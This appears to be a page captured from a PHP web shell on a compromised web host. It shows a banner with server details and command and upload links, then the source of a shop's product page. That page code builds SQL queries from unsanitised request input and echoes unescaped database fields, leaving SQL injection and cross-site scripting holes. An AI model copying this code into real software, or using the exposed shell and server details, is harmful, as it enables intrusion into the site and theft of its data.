Server IP : 103.53.40.154 / Your IP : 18.118.0.48 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/rajwadahouse.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include_once('admin/config.php'); $slug_name = $_GET['slug_url']?? null; if(isset($_SERVER['PATH_INFO'])){ $slug_name=$_SERVER['PATH_INFO']; $querydt="SELECT * FROM `tbl_services` WHERE `slug_url`='$slug_name'"; $rundt = mysqli_query($db,$querydt) or die("Query Not run"); $datadt = mysqli_fetch_assoc($rundt); } ?> <!doctype html> <html class="no-js" lang="zxx"> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <?php include "top-links.php";?> <title> <?php if (isset($datadt["meta_title"]) && !empty($datadt["meta_title"])) { echo $datadt["meta_title"]; } else { echo $datadt["name"]; } ?> </title> <meta name="description" content="<?php echo $datadt["meta_desc"];?>"> <style> .product-btn{ background:#fefefe; padding:15px 15px; } .product-btn:hover { background:#000; color:#fefefe; padding:15px 15px; } .single-product-quantity { margin-bottom: 10px !important; margin-top: 10px; display: flex; justify-content: space-evenly; align-items: center; } .product-label span.sale { background-color: #10183f; left: auto; right: 20px; border: 1px solid white; border-radius: 20px; } .product-label span { position: absolute; z-index: 2; color: #fff; text-align: center; line-height: 30px; width:70px; height:30px; /*border-radius: 100%;*/ display: inline-block; top: 20px; left: 20px; } </style> </head> <body> <div id="main-wrapper"> <?php include "header.php";?> <div class="page-banner-section section bg-image" data-bg="<?php echo $wspath?>assets/images/bg/breadcrumb.jpg"> <div class="container"> <div class="row"> <div class="col"> <div class="page-banner text-center"> <h1><?php echo $datadt["name"];?></h1> <ul class="page-breadcrumb"> <li><a href="<?php echo $wspath?>">Home</a></li> <li><?php echo $datadt["name"];?></li> </ul> </div> </div> </div> </div> </div> <div class="single-product-section section pb-100 pb-lg-80 pb-md-70 pb-sm-30 pb-xs-20"> <div class="container"> <div class="row"> <div class="col-12"> <div class="shop-area"> <div class="row"> <div class="col-md-6"> <!-- Product Details Left --> <div class="product-details-left"> <div class="product-details-images slider-lg-image-1 tf-element-carousel" data-slick-options='{ "slidesToShow": 1, "slidesToScroll": 1, "infinite": true, "asNavFor": ".slider-thumbs-1", "arrows": false, "prevArrow": {"buttonClass": "slick-btn slick-prev", "iconClass": "fa fa-angle-left" }, "nextArrow": {"buttonClass": "slick-btn slick-next", "iconClass": "fa fa-angle-right" } }'> <div class="lg-image"> <img src="<?=$wspath?>admin/images/property-image/<?php echo $datadt['image']; ?>" alt="<?php echo $datadt["name"];?>" title="<?php echo $datadt["name"];?>"> <a href="<?=$wspath?>admin/images/property-image/<?php echo $datadt['image']; ?>" class="popup-img venobox" data-gall="myGallery"><i class="fa fa-expand"></i></a> </div> <?php $main2=$datadt['id']; $sql2 = "SELECT * FROM `tbl_image` WHERE tour_id=$main2 "; $run2 = mysqli_query($db,$sql2) or die("Query Not run"); $count2=0; while($data2 = mysqli_fetch_assoc($run2)){ if(mysqli_num_rows($run2) > 0){ $count2++; ?> <div class="lg-image"> <img src="<?php echo $wspath?>admin/images/gallery/<?php echo $data2['image']?>" alt="<?php echo $datadt["name"];?>" title="<?php echo $datadt["name"];?>"> <a href="<?php echo $wspath?>admin/images/gallery/<?php echo $data2['image']?>"></a> </div> <? } } ?> </div> <div class="product-details-thumbs slider-thumbs-1 tf-element-carousel" data-slick-options='{ "slidesToShow": 4, "slidesToScroll": 1, "infinite": true, "focusOnSelect": true, "asNavFor": ".slider-lg-image-1", "arrows": false, "prevArrow": {"buttonClass": "slick-btn slick-prev", "iconClass": "fa fa-angle-left" }, "nextArrow": {"buttonClass": "slick-btn slick-next", "iconClass": "fa fa-angle-right" } }' data-slick-responsive='[ {"breakpoint":991, "settings": { "slidesToShow": 3 }}, {"breakpoint":767, "settings": { "slidesToShow": 4 }}, {"breakpoint":479, "settings": { "slidesToShow": 2 }} ]'> <div class="sm-image"> <img src="<?=$wspath?>admin/images/property-image/<?php echo $datadt['image']; ?>" alt="<?php echo $datadt["name"];?>" title="<?php echo $datadt["name"];?>"> </div> <?php $main2=$datadt['id']; $sql2 = "SELECT * FROM `tbl_image` WHERE tour_id=$main2 "; $run2 = mysqli_query($db,$sql2) or die("Query Not run"); $count2=0; while($data2 = mysqli_fetch_assoc($run2)){ if(mysqli_num_rows($run2) > 0){ $count2++; ?> <div class="sm-image"> <img src="<?php echo $wspath?>admin/images/gallery/<?php echo $data2['image']?>" alt="<?php echo $datadt["name"];?>" title="<?php echo $datadt["name"];?>"> </div> <? } } ?> </div> </div> </div> <div class="col-md-6"> <!--Product Details Content Start--> <div class="product-details-content"> <h2><?php echo htmlspecialchars($datadt["name"]); ?></h2> <div class="single-product-reviews"> <i class="fa fa-star active"></i> <i class="fa fa-star active"></i> <i class="fa fa-star active"></i> <i class="fa fa-star active"></i> <i class="fa fa-star-o"></i> </div> <?php // Initialize prices and discount percentage $sale_price = isset($datadt["mrp"]) && $datadt["mrp"] > 0 ? $datadt["mrp"] : 0; $actual_price = isset($datadt["price"]) && $datadt["price"] > 0 ? $datadt["price"] : 0; $discount_percentage = 0; // Calculate discount if prices are valid if ($sale_price > 0 && $actual_price > 0) { $discount_percentage = (($sale_price - $actual_price) / $sale_price) * 100; if ($discount_percentage < 0) { $discount_percentage = 0; } } // Check if discount is greater than 0 before displaying the label if ($discount_percentage > 0) { ?> <div class="product-label"> <span class="sale">Save <?php echo number_format($discount_percentage, 0); ?>%</span> </div> <?php } ?> <div class="single-product-price"> <span class="price new-price">₹<?php echo $datadt["price"] ?></span> <?php if(!empty($datadt['mrp'])): ?> <span class="main-price discounted" style="text-decoration: line-through;">₹<?php echo $datadt['mrp']; ?></span> <?php endif; ?> </div> <?php echo $datadt["desc"]; ?> <!--<div class="single-product-quantity">--> <!-- <form class="add-quantity" action="#">--> <!-- <div class="product-quantity">--> <!-- <input value="1" type="number">--> <!-- </div>--> <!-- <div class="add-to-link">--> <!-- <button class="btn"><i class="ion-bag"></i>add to cart</button>--> <!-- </div>--> <!-- </form>--> <!-- </div>--> <div class="wishlist-compare-btn single-product-quantity"> <?php // session_start(); // if(isset($_SESSION['user'])) { // $user_id = $_SESSION['user']['cus_id']; // $pro_id = $datadt['id']; // echo ' // <form action="' . $wspath . 'add-product-queries.php" method="POST"> // <input type="hidden" name="user_id" value="'.$user_id.'"> // <input type="hidden" name="product_id" value="'.$pro_id.'"> // <button type="submit" name="submit_wish" class="btn wishlist-btn" data-role="wishlist"> // Add to Wishlist // </button> // </form>'; // } else { // echo ' // <a class="wishlist-btn" href="'.$wspath.'login.php" data-role="wishlist"> // </a>'; // } ?> <form action="<?php echo $wspath; ?>add-cart.php" method="POST" style="margin-right:10px;"> <div class="product-quantity"> <input name="quantity" value="1" type="number" id="quantity" onChange="calculate_fare(this.value,'<?=$datadt['price'];?>')"> </div> <!-- Hidden Inputs to Pass Product Data --> <input name="sr_no" value="<?php echo $datadt['id']; ?>" type="hidden"> <input name="name" value="<?php echo $datadt['name']; ?>" type="hidden"> <input name="price" class="pack_cost" value="<?php echo $datadt['price']; ?>" type="hidden"> <input name="image" value="<?=$wspath?>admin/images/property-image/<?php echo $datadt['image']; ?>" type="hidden"> <!--<input name="quantity" value="1" type="hidden">--> <button class="btn add-compare" name="add_product" type="submit"> <i class="ion-bag"></i> Add to Cart</button> <!--</form>--> <!--<form action="<?php echo $wspath; ?>add-cart.php" method="POST" style="margin-right:10px;">--> <input name="sr_no" value="<?php echo $datadt['id'] ?>" type="hidden"> <input name="name" value="<?php echo $datadt['name'] ?>" type="hidden"> <input name="price" class="pack_cost" value="<?php echo $datadt['price'] ?>" type="hidden"> <input name="image" value="admin/images/property-image/<?php echo $datadt['image'] ?>" type="hidden"> <!--<input name="quantity" value="1" type="hidden">--> <button class="btn add-compare" type="submit" name="checkout_product"><i class="fa fa-shopping-bag" aria-hidden="true"></i> Buy Now</button> </form> </div> </div> </div> </div> </div> </div> </div> </div> </div> <script> // function calculate_fare(person, fare) { // var cost = person * fare; // document.getElementById("pack_cost").value = cost; // } function calculate_fare(person, fare) { var cost = person * fare; var elements = document.getElementsByClassName("pack_cost"); for (var i = 0; i < elements.length; i++) { elements[i].value = cost; } } </script> <?php include "footer.php";?> </div> </body> </html>